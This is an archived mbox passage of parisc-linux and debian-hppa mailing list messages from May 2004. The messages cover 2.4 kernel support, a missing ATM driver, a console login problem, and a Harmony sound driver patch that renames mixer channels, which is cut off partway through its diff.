List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21675

On Wed, May 26, 2004 at 10:11:57AM -0600, Grant Grundler wrote:
> That's what the original question was about.
> For the past 6-12 monthes, we've mostly focused on 2.6 devel.

BTW, if someone wants to support 2.4 kernels, patches are welcome
as long as they are tested. Especially backports of 2.6 kernel fixes.

"support" just means someone is generating patches and (maybe
someone else) testing those patches before committing to CVS.
There's no magic, money, or anything else behind the scenes.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Alaxis GSC+ 155Mb ATM
Date: Wed, 26 May 2004 10:24:33 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20040526162433.GE4087@colo.lackof.org>
References: <40B250F8.4020203@ark.pl> <20040525041841.GC1308@colo.lackof.org>
	<40B4B9E7.5080003@fback.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623459 9503 80.91.229.3 (22 Nov 2014 02:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bart?omiej Ochman <fback@fback.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2194 invoked by uid 65534); 26 May 2004 16:24:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 26 May 2004 18:24:45 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1F7D23BE22; Wed, 26 May 2004 10:24:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6DD603BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 10:24:34 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D3F1B298052; Wed, 26 May 2004 10:24:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04568-04; Wed, 26 May 2004 10:24:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 33AB129803C; Wed, 26 May 2004 10:24:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40B4B9E7.5080003@fback.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21676

On Wed, May 26, 2004 at 05:38:15PM +0200, Bart?omiej Ochman wrote:
> Grant Grundler wrote:
> 
> >I'm not aware of any driver for it. You might check with the hppa *BSD
> >folks. [...]
> >
> I've checked there, but no system, except HP-UX, with the driver found.
> Is anybody, beside me, interested in this driver to be written?

A guy named "Mickey" working on *BSD for parisc was IIRC.
google for "Alaxis BSD" and his name should pop up.

> >[...] I don't have docs or anything though I suppose someone in HP must.
> Do you think they would give me this documentation?

Maybe under NDA. But that's a long shot.

> Can you point somebody in HP to write to?

Not offhand. If someone on this list knows who,  please privately
forward the request.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony - buffer underrun crash fix
Date: Wed, 26 May 2004 20:40:37 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <2E285712-AF44-11D8-AABC-0030656F07A2@esiee.fr>
References: <20040526075502.F0E503658F9@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623459 9507 80.91.229.3 (22 Nov 2014 02:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15036 invoked by uid 65534); 26 May 2004 18:40:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 26 May 2004 20:40:52 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E3A693BE2B; Wed, 26 May 2004 12:40:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 2E1223BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 12:40:40 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id DE7173658C7;
	Wed, 26 May 2004 20:40:38 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 86112-10BE1179;
	Wed, 26 May 2004 20:40:38 +0200
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id 7C8783658C5;
	Wed, 26 May 2004 20:40:38 +0200 (CEST)
In-Reply-To: <20040526075502.F0E503658F9@mail.esiee.fr>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.25.0.59;
	VDF: 6.25.0.77; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21677


Le mercredi, 26 mai 2004, =E0 08:55 Europe/Paris, Thibaut VARENE a =E9crit=
 :
>
> This looks just great, I'll test it asap, thanks !

Your patch has been committed to 2.4 and 2.6 tree, thanks a lot!


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/=

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: no login with 2.6 kernel and Mozilla probs on 712/60
Date: Wed, 26 May 2004 09:08:10 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <BAY1-F109SYgkkpNnPd0002f227__24999.163641087$1416623459$gmane$org@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1;
  format=flowed
X-Trace: ger.gmane.org 1416623459 9508 80.91.229.3 (22 Nov 2014 02:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:59 +0000 (UTC)
To: stefano.melchior@fastwebnet.it,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9873 invoked by uid 65534); 26 May 2004 09:08:29 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx004) with SMTP; 26 May 2004 11:08:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id DECA8F015; Wed, 26 May 2004 04:08:20 -0500 (CDT)
Old-Return-Path: <kennywest1@hotmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hotmail.com (bay1-f109.bay1.hotmail.com [65.54.245.109])
	by murphy.debian.org (Postfix) with ESMTP id E1309EA8C
	for <debian-hppa@lists.debian.org>; Wed, 26 May 2004 04:08:07 -0500 (CDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 26 May 2004 02:08:11 -0700
Original-Received: from 212.224.137.99 by by1fd.bay1.hotmail.msn.com with HTTP;
	Wed, 26 May 2004 09:08:10 GMT
X-Originating-IP: [212.224.137.99]
X-Originating-Email: [kennywest1@hotmail.com]
X-Sender: kennywest1@hotmail.com
X-OriginalArrivalTime: 26 May 2004 09:08:11.0073 (UTC) FILETIME=[F7DCF310:01C44300]
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_26_03 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-1.0 required=4.0 tests=LDOSUBSCRIBER autolearn=no 
	version=2.63-lists.debian.org_2004_05_26_03
Resent-Message-ID: <6dIOwD.A.b_G.E6FtAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3628
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 26 May 2004 04:08:20 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21678

>have a look in the /boot/config-xxx to find the HIL support whether you
>use an HIL kbd and mouse. As far as I know HIL is supported from the 2.4x
>kernel for about 2 years, so it sounds strange.
>If you use a common PS2 kbd have a look in the /etc/X11/XF86Config-4 to
>see if the kbd is correctly set.
Nono. A 712 doesn't have any HIL, simple PS/2. And I'm not using XDM to 
login. Plain console.

>There is no need to use unstable instead of testing!
Ok, thanks for that.

> >The reason I was upgrading to 2.6 is because Mozilla (and Galeon) were
>
> >segfaulting on my older 2.4.20 kernel.  Are there any people on the list
> >successfully running Mozilla on Woody?
>
>Why didn't you use a 2.4.24 or 2.4.26 kernel, which is good for almost all
>the *old* or *not pretty recent* ws with supported graphics card?
Ok, I'll try that one, there's nothing broken yet. I successfully rolled 
back to the old situation ;)
Is there ongoing parisc support/development for the 2.4.x series, or are you 
guys only focussing on the 2.6?


regards,

Kenneth

_________________________________________________________________
Plannen om een nieuwe computer te kopen? Kijk eens hier.. 
http://www.msn.be/shopping/dell_bis/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "SteX" <stefano.melchior@fastwebnet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: no login with 2.6 kernel and Mozilla probs on 712/60
Date: Wed, 26 May 2004 11:39:32 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4096D40D000224BF__3991.81378675184$1416623460$gmane$org@ms001msg.mail.fw>
References: <BAY1-F109SYgkkpNnPd0002f227@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623460 9512 80.91.229.3 (22 Nov 2014 02:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7908 invoked by uid 65534); 26 May 2004 09:40:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx045) with SMTP; 26 May 2004 11:40:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 5235AE990; Wed, 26 May 2004 04:39:39 -0500 (CDT)
Old-Return-Path: <stefano.melchior@fastwebnet.it>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ms001msg.fastwebnet.it (ms001msg.fastwebnet.it [213.140.2.51])
	by murphy.debian.org (Postfix) with ESMTP id 6347FEA74
	for <debian-hppa@lists.debian.org>; Wed, 26 May 2004 04:39:31 -0500 (CDT)
Original-Received: from [217.223.68.226] by ms001msg.fastwebnet.it with HTTP; Wed, 26 May 2004 11:39:32 +0200
In-Reply-To: <BAY1-F109SYgkkpNnPd0002f227@hotmail.com>
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_26_03 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.5 required=4.0 tests=LDOSUBSCRIBER,MDO_CABLE_TV3 
	autolearn=no version=2.63-lists.debian.org_2004_05_26_03
Resent-Message-ID: <EDI0I.A.uoE.bXGtAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3629
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 26 May 2004 04:39:39 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21679

Hi Kenneth,

>>have a look in the /boot/config-xxx to find the HIL support whether you=

>>use an HIL kbd and mouse. As far as I know HIL is supported from the 2.=
4x
>>kernel for about 2 years, so it sounds strange.
>>If you use a common PS2 kbd have a look in the /etc/X11/XF86Config-4 to=

>>see if the kbd is correctly set.
>Nono. A 712 doesn't have any HIL, simple PS/2. And I'm not using XDM to

>login. Plain console.

It happened to me, when I launced PALO with the STI support. Not whether
I connected my laptop with a serial cable. The login didn't appear and th=
e
system seemed to hang. Verify the same situation by connecting another sy=
stem
via console cable and minicom.


>Is there ongoing parisc support/development for the 2.4.x series, or are=

>you guys only focussing on the 2.6?

The development is in both way, why un-support a still valid kernel, as
2.4. Why neither support a new 2.6 kernel. It is not a fork!

Regards

SteX




From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony - better mixer channel names
Date: Thu, 27 May 2004 21:02:42 +0100
Lines: 200
Approved: news@gmane.org
Message-ID: <20040527200242.GA1598@calypso>
References: <20040527150933.GB612@calypso>
	<20040527151731.633A93658BE@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="n8g4imXOkfNTN/H1"
X-Trace: ger.gmane.org 1416623460 9518 80.91.229.3 (22 Nov 2014 02:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from mailgate5.dlan.cinetic.de ([172.20.1.103] helo=mailgate5.web.de)
	by mxint03.web.de with esmtp (WEB.DE 4.101 #91)
	id 1BTSHb-0008Jk-00
	for hdeller@web.de; Thu, 27 May 2004 23:19:23 +0200
Original-Received: by mailgate5.web.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id i4RLJM423799
	for hdeller@web.de; Thu, 27 May 2004 23:19:22 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.1)
        for hdeller@web.de; Thu, 27 May 2004 23:19:22 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12457 invoked by uid 65534); 27 May 2004 20:20:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 27 May 2004 22:20:51 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5AAE43BE17; Thu, 27 May 2004 14:19:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta10-svc.ntlworld.com (mta10-svc.ntlworld.com [62.253.162.94])
	by free.linux.hp.com (Postfix) with ESMTP id 5FD083BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 May 2004 14:18:58 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta10-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040527200148.ZWLR13246.mta10-svc.ntlworld.com@calypso>;
	Thu, 27 May 2004 21:01:48 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BTR5O-0000aQ-00; Thu, 27 May 2004 21:02:42 +0100
Mail-Followup-To: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040527151731.633A93658BE@mail.esiee.fr>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21680


--n8g4imXOkfNTN/H1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

This patch improves the Harmony driver's naming of mixer channels:

* VOLUME is now MONITOR
* OGAIN is now VOLUME
* SPEAKER is now LINE1
* For output, LINE is now LINE2
* PHONEOUT is now LINE3
* The LINE channel is now for input only
* Within the source, the names INTERNAL, LINEOUT and HEADPHONES refer to
  LINE1, LINE2 and LINE3, respectively
* MIC and IGAIN remain unchanged

Regards,
-- 
Stuart Brady

--n8g4imXOkfNTN/H1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="harmony-mixer-channelnames.diff"

--- drivers/sound/harmony.c.orig	2004-05-25 23:21:52.000000000 +0100
+++ drivers/sound/harmony.c	2004-05-27 18:20:31.000000000 +0100
@@ -124,9 +124,17 @@
 #define GAIN_RO_MASK    ( 0x3f << GAIN_RO_SHIFT) 
 
 
-#define MAX_OUTPUT_LEVEL (GAIN_RO_MASK >> GAIN_RO_SHIFT)
-#define MAX_INPUT_LEVEL  (GAIN_RI_MASK >> GAIN_RI_SHIFT)
-#define MAX_VOLUME_LEVEL (GAIN_MA_MASK >> GAIN_MA_SHIFT)
+#define MAX_OUTPUT_LEVEL  (GAIN_RO_MASK >> GAIN_RO_SHIFT)
+#define MAX_INPUT_LEVEL   (GAIN_RI_MASK >> GAIN_RI_SHIFT)
+#define MAX_MONITOR_LEVEL (GAIN_MA_MASK >> GAIN_MA_SHIFT)
+
+#define MIXER_INTERNAL   SOUND_MIXER_LINE1
+#define MIXER_LINEOUT    SOUND_MIXER_LINE2
+#define MIXER_HEADPHONES SOUND_MIXER_LINE3
+
+#define MASK_INTERNAL   SOUND_MASK_LINE1
+#define MASK_LINEOUT    SOUND_MASK_LINE2
+#define MASK_HEADPHONES SOUND_MASK_LINE3
 
 /*
  * Channels Mask in mixer register
@@ -882,7 +890,7 @@
 	int right_level;
 
 	switch (channel) {
-		case SOUND_MIXER_OGAIN:
+		case SOUND_MIXER_VOLUME:
 			left_level  = (harmony.current_gain & GAIN_LO_MASK) >> GAIN_LO_SHIFT;
 			right_level = (harmony.current_gain & GAIN_RO_MASK) >> GAIN_RO_SHIFT;
 			left_level  = to_oss_level(MAX_OUTPUT_LEVEL - left_level, MAX_OUTPUT_LEVEL);
@@ -896,9 +904,9 @@
 			right_level= to_oss_level(right_level, MAX_INPUT_LEVEL);
 			return (right_level << 8)+left_level;
 			
-		case SOUND_MIXER_VOLUME:
+		case SOUND_MIXER_MONITOR:
 			left_level = (harmony.current_gain & GAIN_MA_MASK) >> GAIN_MA_SHIFT;
-			left_level = to_oss_level(MAX_VOLUME_LEVEL-left_level, MAX_VOLUME_LEVEL);
+			left_level = to_oss_level(MAX_MONITOR_LEVEL-left_level, MAX_MONITOR_LEVEL);
 			return left_level;
 	}
 	return -EINVAL;
@@ -923,7 +931,7 @@
 	left_level = value & 0x000000ff;
   
 	switch (channel) {
-		case SOUND_MIXER_OGAIN:
+		case SOUND_MIXER_VOLUME:
 			right_level = to_harmony_level(100-right_level, MAX_OUTPUT_LEVEL);
 			left_level  = to_harmony_level(100-left_level, MAX_OUTPUT_LEVEL);
 			new_right_level = to_oss_level(MAX_OUTPUT_LEVEL - right_level, MAX_OUTPUT_LEVEL);
@@ -943,10 +951,10 @@
 			harmony_mixer_set_gain();
 			return (new_right_level << 8) + new_left_level;
 	
-		case SOUND_MIXER_VOLUME:
-			left_level = to_harmony_level(100-left_level, MAX_VOLUME_LEVEL);
-			new_left_level = to_oss_level(MAX_VOLUME_LEVEL-left_level, MAX_VOLUME_LEVEL);
-			harmony.current_gain = (harmony.current_gain & ~GAIN_MA_MASK)| (left_level << GAIN_MA_SHIFT);
+		case SOUND_MIXER_MONITOR:
+			left_level = to_harmony_level(100-left_level, MAX_MONITOR_LEVEL);
+			new_left_level = to_oss_level(MAX_MONITOR_LEVEL-left_level, MAX_MONITOR_LEVEL);
+			harmony.current_gain = (harmony.current_gain & ~GAIN_MA_MASK) | (left_level << GAIN_MA_SHIFT);
 			harmony_mixer_set_gain();
 			return new_left_level;
 	}
@@ -1004,9 +1012,9 @@
 {
 	int outmask = 0;
 	
-	if (harmony.current_gain & GAIN_HE_MASK) outmask |=SOUND_MASK_PHONEOUT;
-	if (harmony.current_gain & GAIN_LE_MASK) outmask |=SOUND_MASK_LINE;
-	if (harmony.current_gain & GAIN_SE_MASK) outmask |=SOUND_MASK_SPEAKER;
+	if (harmony.current_gain & GAIN_SE_MASK) outmask |= MASK_INTERNAL;
+	if (harmony.current_gain & GAIN_LE_MASK) outmask |= MASK_LINEOUT;
+	if (harmony.current_gain & GAIN_HE_MASK) outmask |= MASK_HEADPHONES;
 	
 	return outmask;
 }
@@ -1014,24 +1022,24 @@
 
 static int harmony_mixer_set_outmask(int outmask)
 {
-	if (outmask & SOUND_MASK_PHONEOUT) 
-		harmony.current_gain |= GAIN_HE_MASK; 
+	if (outmask & MASK_INTERNAL) 
+		harmony.current_gain |= GAIN_SE_MASK;
 	else 
-		harmony.current_gain &= ~GAIN_HE_MASK;
+		harmony.current_gain &= ~GAIN_SE_MASK;
 	
-	if (outmask & SOUND_MASK_LINE) 
+	if (outmask & MASK_LINEOUT) 
 		harmony.current_gain |= GAIN_LE_MASK;
 	else 
 		harmony.current_gain &= ~GAIN_LE_MASK;
 	
-	if (outmask & SOUND_MASK_SPEAKER) 
-		harmony.current_gain |= GAIN_SE_MASK;
+	if (outmask & MASK_HEADPHONES) 
+		harmony.current_gain |= GAIN_HE_MASK; 
